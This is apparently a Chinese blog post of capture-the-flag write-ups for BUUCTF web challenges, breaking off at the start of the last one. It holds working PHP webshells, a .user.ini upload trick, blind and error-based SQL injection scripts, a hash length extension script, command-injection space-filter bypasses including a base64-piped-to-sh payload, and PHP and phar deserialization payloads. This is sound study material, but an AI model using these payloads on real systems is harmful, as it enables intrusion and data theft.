在家圈着,有时间可以好好刷刷题了,看glzjin处处打广告,早就想把BUU的题好好刷刷了,从现在开始吧!
[强网杯 2019]高明的黑客 题目分析 进入链接之后是下图的页面: 提示我们源码在www.tar.gz
中,那么我们把源码下载下来进行审计。 发现是这个压缩包包含了几千个php文件,并且每个文件里代码都不少,参数也都是乱序字母,像是经过加密的一样… 但是,经过审计代码,我们发现,很多文件中都包含了不少的GET
和POST
方式进行传参的代码,并且还有很多调用eval
的地方,这不就是后门嘛,但是经过测试,在eval
调用的参数中传入命令没有效果… 这么多文件,每个文件又是这么多参数和eval
的调用,猜测是在某个文件中包含可以成功拿到shell
的参数和eval
调用,这么多文件,只好写脚本进行测试,来找到存在后门的文件了。
解题脚本 这里参考一个工作效率比较高的脚本:
import osimport requestsimport reimport threadingimport timeprint('开始时间: ' + time.asctime(time.localtime(time.time()))) s1 = threading.Semaphore(100 ) filePath = r"F:/phpStudy_64/phpstudy_pro/WWW/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file) : s1.acquire() print('trying ' +file+' ' +time.asctime(time.localtime(time.time()))) with open(file,encoding='utf-8' ) as f: gets = list(re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list(re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/src/' +file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url+'?%s=' %a+"echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print('找到了利用文件: ' +file+" and 找到了利用的参数:%s" %param) print('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
这个脚本会输出存在后门的文件名和可以拿到shell
的参数,我们拿到参数之后,再传参,url
参数内容为cat /flag
即可拿到flag。
[SUCTF 2019]CheckIn 题目分析 打开链接,是一个文件上传页面,第一反应上传图片马 结果显示<? in contents!
这提示我们上传的图片马中不能包含<?
,同时也得知是黑名单过滤了,那么可以利用<script language='php'><scirpt>
类型的图片马来绕过过滤,和NCTF中的一道题是一样的知识点。我们构造这种图片马上传,回显如下: 提示exif_imagetype:not image!
,猜测后端应该调用了php的exif_imagetype()
函数,这个在图片马中添加图片文件头就可以绕过,这里添加GIF89a
来绕过,上传之后回显如下: 我们看到,文件成功上传,但是现在用蚁剑链接的话,还是失败,因为传上去的带图片文件头的图片马并没有被解析,因此需要上传.htaccess
文件或者.user.ini
文件来解析图片马。这里服务器版本比较高不能用.htaccess
来解析,那么便需要用.user.ini
来解析我们上传的图片马。
.user.ini 这是一个与php配置相关的文件,可以在php手册查看对其的描述: 从官方描述中我们看到.user.ini
可以支持用户配置php.ini
中的PHP_INI_PERDIR 和PHP_INI_USER ,只要是在CGI/FastCGI
模式的服务器上都支持.user.ini
。 同时我们在官方手册关于php.ini配置选项列表 的描述中看到auto_append_file
和auto_prepend_file
都适用在PHP_INI_PERDIR 中,即可以通过.user.ini
来配置它们。我们需要知道这两个配置的作用:
1、auto_append_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()
函数。
2、auto_prepend_file:指定一个文件,自动包含在要执行的文件后,但是如果在包含之前遇到exit()
函数便不会包含。
它们的使用方法是直接写在.user.ini
中即可,如:
auto_append_file=01. gif auto_prepend_file=01. gif
至此,我们的解题思路就很明确了:
1、构造包含GIF89a
的图片马
2、图片马用<script language='php'><scirpt>
类型的代码
3、构造.user.ini
文件,其中包含我们要上传的图片马名称
4、先传入.user.ini
然后上传图片马
5、蚁剑连接,拿flag
解题 构造图片马:
GIF89a <script language ="php" > eval ($_POST['x' ]);</script >
构造.user.ini文件
GIF89a auto _prepend_file=xxx.jpg
将构造好的文件依次上传,然后拿到文件储存的路径,这里需要说明:前面讲过了,auto_append_file
和auto_prepend_file
的作用是在在要执行的文件 中包含我们指定的文件,在回显中我们看到,相同文件夹下还包含index.php
文件,那么利用它便可以拿到shell
。蚁剑连接拿flag 用蚁剑连接,在根目录即可拿到flag: 关于.user.ini
文件构成的php后门还可以参考:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
[CISCN 2019华北]HackWorld 题目分析 打开链接看到如下的输入框: 提示我们flag在flag
表中的flag
字段,一个SQL注入题,抓包发现输入框的值会通过参数id
以POST
的方式上传到服务端。 测试对输入的限制,结果如下:
id =1 Hello, glzjin wants a girlfriend.id =1' bool(false )id =1'+空格 SQL Injection Checked.id =1'# SQL Injection Checked.
我们发现,当输入为1的时候回显Hello, glzjin wants a girlfriend.
应该是一个正确的回显,但是输入1'
回显bool(false)
,并且对于与注入相关的字符会回显SQL Injection Checked.
,因此,判断是一个布尔盲注。 当输入的表达式为1
的时候,会给出正确的回显,那么我们便可以通过在输入框构造结果为1
并且逐字符地读取flag
字段内容的语句便可以读出flag。
解题 可以用下面的布尔盲注脚本拿flag:
import requestsimport timeurl = "http://b9b3fd3f-2f40-4927-8d69-50ffc78f9a4a.node3.buuoj.cn/index.php" payload = { "id" : "" } result = "" for i in range(1 ,100 ): l = 33 r =130 mid = (l+r)>>1 while (l<r): payload["id" ] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})" .format(i,mid) html = requests.post(url,data=payload) print(payload) if "Hello" in html.text: l = mid+1 else : r = mid mid = (l+r)>>1 if (chr(mid)==" " ): break result = result + chr(mid) print(result) print("flag: " ,result)
[De1CTF 2019]SSRF Me 题目分析: 首先拿到源码,是Flask写的:
from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip) : self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self) : result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self) : if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index () : return open("code.txt" ,"r" ).read() def scan (param) : socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param) : return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content) : return hashlib.md5(content).hexdigest() def waf (param) : check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=80 )
我们发现,代码中定义了一个task
类,其中主要包括三部分:__init__()
、Exec()
、checkSign
。__init__()
中以用户的IP
生成一个沙箱:
def __init__ (self, action, param, sign, ip) : self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
Exec()
可以执行一些操作:
def Exec (self) : result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result
我们可以看到,Exec()
函数可以执行scan
操作,对目标文件进行扫描并把结果存在result.txt
中;read
操作可以读取ressult.txt
中的内容。同时param
又是用户输入,那么通过利用param
和上述两个操作,进行SSRF
以拿到flag。
往下我们看到三个路由:
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index () : return open("code.txt" ,"r" ).read()
/geneSign
路由:获得param参数,通过action
和param
生成签名。并且在服务端的签名是通过action="scan"
生成的,那就限制了用户执行的方法。/De1ta
路由:获取cookie
中的action
和param
以及签名sign
,如果param
合法则生成task
对象,并返回执行的内容。/
路由:读取代码。
解题思路 我们从前面知道,服务端的签名已经限制为action="scan"
了,因此如果我们传入的方法有read
那签名值将会不同,将不能实现读取。 因此我们需要绕过sign
的限制。我们可以发现getSign
其实是有漏洞的:
def getSign (action, param) : return hashlib.md5(secert_key + param + action).hexdigest()
即当我们输入param=flag.txtread
的时候,那sign
值就是包含read
和scan
的了,也就可以实现对文件的读取了。
解题 这里有两种方法,第一种是利用SSRF
,也是本题的考点,第二种是hash长度扩展攻击
,看别的大佬的思路才知道的。
SSRF 首先我们在/geneSign
路由中利用param=flag.txtread
生成一个签名: 然后通过/De1ta
路由生成服务端的签名,需要利用BP抓包改包: 这里需要注意,我们在/De1ta
路由是通过GET
方式传param
的,但是Cookie
需要我们手动加入,从下面这段代码可知:我们需要在cookie
中写入action
和sign
值
def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" ))
从而实现通过构造sign
绕过限制实现SSRF
读取服务器资源,拿到flag。
Hash长度扩展攻击 哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了H(密钥 ∥ 消息)
此类构造的散列函数。MD5和SHA-1等基于Merkle–Damgård构造的算法均对此类攻击显示出脆弱性。 一般满足下面条件的情形可以进行哈希长度扩展攻击:
1、准备了一个密文和一些数据构造成一个字符串里,并且使用了MD5之类的哈希函数生成了一个哈希值(也就是所谓的signature/签名);
2、让攻击者可以提交数据以及哈希值,虽然攻击者不知道密文;
3、服务器把提交的数据跟密文构造成字符串,并经过哈希后判断是否等同于提交上来的哈希值
详细可参考:https://www.freebuf.com/articles/web/69264.html 该题中,sign
的计算:
hashlib.md5(secert_key + param + action).hexdigest()
显然满足这种情况,因此可以进行哈希长度扩展攻击。 脚本如下:
import hashpumpyimport requestsimport urllib.parsetxt1 = 'flag.txt' r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/geneSign' , params={'param' : txt1}) sign = r.text hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan' , 'read' , 16 ) r = requests.get('http://f335feee-943e-406b-8fc6-e5d65f709d15.node3.buuoj.cn/De1ta' , params={'param' : txt1}, cookies={ 'sign' : hash_sign[0 ], 'action' : urllib.parse.quote(hash_sign[1 ][len(txt1):]) }) print(r.text)
[网鼎杯 2018]Fakebook 题目分析 进入链接,是一个可以注册和登录的页面,这里的注册页面是以POST
上传数据的,利用sqlmap
测试发现有POST
注入,具体方法是:
1、注册用户时用BP抓包,保存POST
表单的数据到文件;
2、然后利用sqlmap
爆库:
结果如下: 这个截图中没有体现出完整的数据库信息,完整的序列化内容中包含的还有blog
的地址,下面的payload
中可以看到。
经过测试,在wiew.php
路径下存在GET
注入,这里存在报错注入,可以利用extractvalue()
和updatexml()
进行测试,但是我在用extractvalue()
进行测试时失败了,用updatexml()
可以成功注入。利用extractvalue()
的报错注入可参考我之前的文章RootersCTF-Babyweb-WriteUp 。 报错注入可参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036
进行GET注入 利用常规的手注方法,结合updatexml()
以实现报错注入:
/view .php?no =1 and updatexml(1 ,make_set(3 ,'~' ,(select database ())),1 )#
/view .php?no =1 and updatexml(1 ,make_set(3 ,'~' ,(select group_concat(table_name ) from information_schema.tables where table_schema=database ())),1 )#
/view .php?no =1 and updatexml(1 ,make_set(3 ,'~' ,(select group_concat(column_name ) from information_schema.columns where table_name ="users")),1 )#
/view.php?no=1 and updatexml(1 ,make_set(3 ,'~' ,(select data from users)),1 )#
我们看到,最后爆出的字段知包含了一串序列化的内容,也可以根据POST
注入的结果发现,而并没有拿到flag。这里要注意,union select
联合查询会被检测出,因此用\**\
来绕过。 参考网上的WP发现,该题并非只考察注入,还考察了SSRF
、反序列化构造file文件协议 。
利用File协议进行SSRF读取flag文件 御剑扫描发现robots.txt
和flag.php
文件,并且根据前面报错注入的返回页面可见,flag.php
文件是存在/var/www/html/
下的。同时在robots.txt
中发现了备份文件/user.php.bak
,其源码如下:
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name, $age, $blog) { $this ->name = $name; $this ->age = (int)$age; $this ->blog = $blog; } function get ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close($ch); return $output; } public function getBlogContents () { return $this ->get($this ->blog); } public function isValidBlog () { $blog = $this ->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog); } }
可以发现get()
函数总传参是一个url
,因此猜测存在SSRF
,前面我们也知道了可以利用file://
协议来读取flag文件,可以构造file:///var/www/html/flag.php
语句并将其作为用户的blog
地址写入,最后利用联合查询和反序列化将该语句写入到数据库,payload如下:
/view .php?no=0 union select 1 ,2 ,3 ,'O:8 :"UserInfo" :3 :{s:4 :"name" ;s:1 :"1" ;s:3 :"age" ;i:1 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;}'
效果如下: 此时,我们写入的可以读取文件的blog
地址已经奏效,查看源码可以看到一串base64的编码,解码即为读取的flag.php
的内容。
[极客大挑战 2019]Havefun 目测是签到题,源码中提示:
$cat=$_GET['cat' ]; echo $cat;if ($cat=='dog' ){ echo 'Syc{cat_cat_cat_cat}' ; }
简单,?cat=dog
即可
[RoarCTF 2019]EasyJava 考察web.xml
的泄露,Javaweb没学过…不过这个题目学到了一点:类似于题目给的Help文件下载失败的时候可以尝试改变请求方式 去下载。 附上一些有关源码泄露的网站:https://blog.csdn.net/wy_97/article/details/78165051
[极客大挑战 2019]Secret File 进去题目之后看源码,发现Archive_room.php
文件,点进去之后给了一个按钮,这个按钮存在302跳转
,因此需要BP抓包。 抓包发现,点击时候先访问的是action.php
,在改文件中看到了提示的secr3t.php
文件,再查看这个文件给了源码:
<?php highlight_file(__FILE__ ); error_reporting(0 ); $file=$_GET['file' ]; if (strstr($file,"../" )||stristr($file, "tp" )||stristr($file,"input" )||stristr($file,"data" )){ echo "Oh no!" ; exit (); } include ($file); ?>
容易看出是文件包含,利用php伪协议读取即可:
?file =php://filter /convert .base64-encode/resource=flag.php
[GXYCTF 2019]Ping Ping Ping 根据题目提示和参数ip
可知,与命令执行相关 第一步,利用|
可以执行ls
命令,读取内容:
发现存在flag.php
和index.php
文件,但是直接利用cat flag.php
去读取发现空格被ban,此处考察了绕过空格被ban的方法(与linux系统命令的执行相关):
$IFS ${IFS} $IFS$1 < <> {cat,flag.php} %20 %09
通过尝试发现$IFS$1
可以绕过空格 此时又提示flag
被ban,绕过的方法也比较多样:
变量拼接:ip=1;a=g ;cat $IFS $1fla $a .php 内联执行:ip=1;cat $IFS $1 `ls ` 利用sh /bash: ip=1;echo$IFS $1Y2F0IGZsYWcucGhw |base64$IFS $1 -d |sh
利用内联执行
方法绕过,需要到控制台
的sources
下查看内容,如图:
[极客大挑战 2019]PHP 一道PHP反序列化
题目,主要考察了private
定义字段的绕过方法。
题目分析 提示有备份文件,扫后台可以得知是www.zip
,下载文件、审计源码,在class.php
中发现了反序列化的代码:
<?php include 'flag.php' ;error_reporting(0 ); class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username,$password) { $this ->username = $username; $this ->password = $password; } function __wakeup () { $this ->username = 'guest' ; } function __destruct () { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag; echo $flag; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
根据代码逻辑可知,我们需要绕过wakeup()
函数,这个很简单,更改序列化之后类的属性个数即可。
关于wakeup()函数: 与sleep()函数相反, sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。 绕过方法:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
我们可以看到,需要绕过wakeup()
函数,然后令username==admin
,password==100
才能执行echo $flag
,因此需要构造这两个条件,但是我们发现,这两个字段都是private
定义的,绕过的时候需要更改序列化之后属性的格式:
1、private属性序列化的时候格式是 %00类名%00成员名
2、protected属性序列化的时候格式是 %00*%00成员名
可参考:https://www.cnblogs.com/fish-pompom/p/11126473.html 根据这些信息我们便可以构造payload。
构造payload 首先在class.php
中加入下列代码,得到一个实例化对象的反序列化:
$a = new Name('admin' ,100 ); $b=serialize($a); echo $b;
拿到反序列化的字符串:
O :4 :"Name" :2 :{s :14 :"Nameusername" ;s :5 :"admin" ;s :14 :"Namepassword" ;i :100 ;}
然后我们把属性值2
改成3
以绕过wakeup()
最后更改两个属性名的格式如下:
O :4 :"Name" :3 :{s :14 :"%00Name%00username" ;s :5 :"admin" ;s :14 :"%00Name%00password" ;i :100 ;}
最后,在index.php
中我们发现GET传参select
,构造最终payload
?select=O:4 :"Name" :3 :{s: 14 :"%00Name%00username" ;s: 5 :"admin" ;s: 14 :"%00Name%00password" ;i: 100 ;}
即可拿到flag。
[0CTF 2016]piapiapia 一道反序列化逃逸漏洞利用题目。
题目分析 进入题目之后是一个登录页面,尝试登录管理员,失败,也没有注册按钮… 通过扫后台发现存在www.zip文件,果断下载了,成功拿到题目源码。压缩包下包含`class.php`、`config.php`、`index.php`、`profile.php`、`register.php`、`update.php`几个有用的文件。 解题关键在于如下部位: 首先是config.php
文件:
<?php $config['hostname' ] = '127.0.0.1' ; $config['username' ] = 'root' ; $config['password' ] = '' ; $config['database' ] = '' ; $flag = '' ; ?>
由此可知,flag存在于该文件之下,需要想办法读取改文件内容。 同时,在profile.php
文件下有与读取文件内容相关的代码:
<?php require_once ('class.php' ); if ($_SESSION['username' ] == null ) { die ('Login First' ); } $username = $_SESSION['username' ]; $profile=$user->show_profile($username); if ($profile == null ) { header('Location: update.php' ); } else { $profile = unserialize($profile); $phone = $profile['phone' ]; $email = $profile['email' ]; $nickname = $profile['nickname' ]; $photo = base64_encode(file_get_contents($profile['photo' ])); ?>
可知,控制photo
变量为config.php
我们便可以读取到其内容。同时看到,这里存在一个反序列化的函数,初步判断解题与它相关。 在update.php
文件中找到了将字符串序列化的地方:
<?php require_once ('class.php' ); if ($_SESSION['username' ] == null ) { die ('Login First' ); } if ($_POST['phone' ] && $_POST['email' ] && $_POST['nickname' ] && $_FILES['photo' ]) { $username = $_SESSION['username' ]; if (!preg_match('/^\d{11}$/' , $_POST['phone' ])) die ('Invalid phone' ); if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/' , $_POST['email' ])) die ('Invalid email' ); if (preg_match('/[^a-zA-Z0-9_]/' , $_POST['nickname' ]) || strlen($_POST['nickname' ]) > 10 ) die ('Invalid nickname' ); $file = $_FILES['photo' ]; if ($file['size' ] < 5 or $file['size' ] > 1000000 ) die ('Photo size error' ); move_uploaded_file($file['tmp_name' ], 'upload/' . md5($file['name' ])); $profile['phone' ] = $_POST['phone' ]; $profile['email' ] = $_POST['email' ]; $profile['nickname' ] = $_POST['nickname' ]; $profile['photo' ] = 'upload/' . md5($file['name' ]); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>' ; } else { ?>
可以看到,此处的代码是对profile
数组中的phone
、email
、nickname
、photo
进行的序列化,序列化之后的效果如下:
a :4 :{s :5 :"phone" ;s :11 :"11111111111" ;s :5 :"email" ;s :11 :"123@qq.com" ;s :8 :"nickname" ;s :3 :"123" ;s :5 :"photo" ;s :39 :"upload/f3b94e88bd1bd325af6f62828c8785dd" ;}
这里a:4
指的是由一个数组
序列化而来,并且有4
个值。如果是对象
的话,就是把a
改成O
。然后是一个键值名,一个变量值:s:5:"phone"
:第一个键名,是string类型的,长度为五;s:11:"11111111111"
:第一个变量值,string类型,长度为11。后面的也是这个规律。这里存在我们要利用的反序列化漏洞:如果我们在这个序列化字符串的后面,再加上一些字符,后面的字符是不会被反序列化的 。 最后在class.php
文件中还有两个需要过滤,并且对拿flag有效的正则匹配:
public function filter ($string) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape) . '/' ; $string = preg_replace($escape, '_' , $string); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe) . '/i' ; return preg_replace($safe, 'hacker' , $string); }
这里会对我们输入的内容进行替换,比如将where
替换为hacker
,这对我们的解题很重要。
至此,解题思路已经很明确了,就是我们通过控制输入,将序列化之后的photo
对应上config.php
,通过抓包发现nickname
是入手点,从前面写到的序列化的字符串也能看出来。因此在nickname
后面加上";}s:5:"photo";s:10:"config.php";}
就能实现,最后效果如下:
a: 4 :{s: 5 :"phone" ;s: 11 :"11111111111" ;s: 5 :"email" ;s: 11 :"123@qq.com" ;s: 8 :"nickname" ;a: 1 :{i: 0 ;s: 3 :"123" ;}s: 5 :"photo" ;s: 10 :"config.php" ;}s: 39 :"upload/f3b94e88bd1bd325af6f62828c8785dd" ;}
这里就实现了photo
与config.php
的对应,而括号后面的upload
等不会被执行。注意这里我们看到nickname
是一个数组型 的,因为我们前面提到过,有对nickname
的正则匹配,所有我们需要用数组来绕过。 现在的问题就是";}s:5:"photo";s:10:"config.php";}
这34字符,使我们在传参的时候要手动加入到nickname
数组中的,而想要打到我们的目的,就必须把它们从nickname
数组中挤出去,这个时候我们前面说到的where
与hacker
的替换就派上用场了:我们可以在 nickname
数组中写入34
个where
,那么就替换成了34
个hacker
,但是序列化之后的每个变量名和常量值都是有定值的,比如上面的s:5
表示长度是5,所以替换之后,34个where
之后紧跟的";}s:5:"photo";s:10:"config.php";}
就不在属于nickname
数组了,也就达到了我们的目的,部分payload如下:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:" photo";s:10:" config.php";}
解题 我们首先先到register.php
下注册个账号,登录之后更新用户的信息,这个时候通过BP抓包写入payload,然后将nickname
改成nickname[]
,同时将我们构造好的payload写入,如图: 从响应包中,我们看到,payload已经成功打入,此时,我们上传的图片存放的路径读取的也就是config.php
的内容了,此时去profile.php
下打开图片的链接即可看到一串base64,解码即可拿到flag。
这道题目对反序列化漏洞的认识又进一步加深,学到了学到了。
[极客大挑战 2019]Knife 进入题目,解题方法就很明显了,提示了Knife
,并且给了后门语句eval($_POST["Syc"]);
,用蚁剑连接下列链接:
http://514be013-67 a5-422 b-ae7b-941 c105e248b.node3.buuoj.cn/?Knife.php
连接密码很明显:Syc
,连接即可拿flag。
[CISCN2019 华北]Dropbox 一个考察phar
反序列化的问题。 相关知识参考:https://blog.ripstech.com/2018/new-php-exploitation-technique/ https://paper.seebug.org/680/
题目分析 进入题目之后,通过注册并登录账户,发现可以上传文件,上传文件之后进入到管理面板,这个时候我们发现可以对我们的文件进行下载
和删除
的操作: 这个地方存在可以的地方,在下载文件的时候,抓包发现,下载文件的规则很简单: 那么我们可以测试是否可以下载别的文件,通过改包利用../../xxx.php
测试可行性,结果真的能下载文件: 通过下载index.php
文件,我们依次下载到关键的class.php
和delete.php
文件,内容如下: class.php文件:
<?php error_reporting(0 ); $dbaddr = "127.0.0.1" ; $dbuser = "root" ; $dbpass = "root" ; $dbname = "dropbox" ; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct () { global $db; $this ->db = $db; } public function user_exist ($username) { $stmt = $this ->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username, $password) { if ($this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt->bind_param("ss" , $username, $password); $stmt->execute(); return true ; } public function verify_user ($username, $password) { if (!$this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset ($expect) && $expect === $password) { return true ; } return false ; } public function __destruct () { $this ->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct ($path) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir($path); $key = array_search("." , $filenames); unset ($filenames[$key]); $key = array_search(".." , $filenames); unset ($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this ->files, $file); $this ->results[$file->name()] = array (); } } public function __call ($func, $args) { array_push($this ->funcs, $func); foreach ($this ->files as $file) { $this ->results[$file->name()][$func] = $file->$func(); } } public function __destruct () { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result) { $table .= '<tr>' ; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table; } } class File { public $filename; public function open ($filename) { $this ->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true ; } else { return false ; } } public function name () { return basename($this ->filename); } public function size () { $size = filesize($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i++) $size /= 1024 ; return round($size, 2 ).$units[$i]; } public function detele () { unlink($this ->filename); } public function close () { return file_get_contents($this ->filename); } } ?>
我们看到,其中有多个类的定义,其中delete()
函数中的unlink()
引起注意,因为这个函数在处理phar
文件时会将序列化的内容反序列化 ,这一点在前面提供的第二个链接有讲到,还提到了其他的函数,如下: 再看delete.php:
<?php session_start(); if (!isset ($_SESSION['login' ])) { header("Location: login.php" ); die (); } if (!isset ($_POST['filename' ])) { die (); } include "class.php" ;chdir($_SESSION['sandbox' ]); $file = new File(); $filename = (string) $_POST['filename' ]; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json" ); $response = array ("success" => true , "error" => "" ); echo json_encode($response); } else { Header("Content-type: application/json" ); $response = array ("success" => false , "error" => "File not exist" ); echo json_encode($response); } ?>
其中$file->delete()
时便执行了unlink()
函数。
那么我们上传一个phar
文件,再去删除它,此处便可以控制通过phar://
执行了我们上传的phar
文件,便将文件中序列化的内容反序列化了,利用这个部分,我们便可以构造phar
文件,来读取flag文件了。
构造phar文件 网上找到了构造phar
文件的脚本:
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct () { $file = new File(); $file->filename = "/flag.txt" ; $this ->files = array ($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); $phar->addFromString("exp.txt" , "test" ); $phar->stopBuffering(); ?>
解题 首先上传构造好的phar
文件,这里需要注意:phar文件上传的时候必须伪装成image文件 ,通过BP抓包上传: 然后删除文件,此时抓包,然后把要删除的文件名改为phar://phar.png/exp.txt
,然后即可拿到flag:
[RoarCTF 2019]Easy Calc 网上有说这道题跟HTTP协议走私
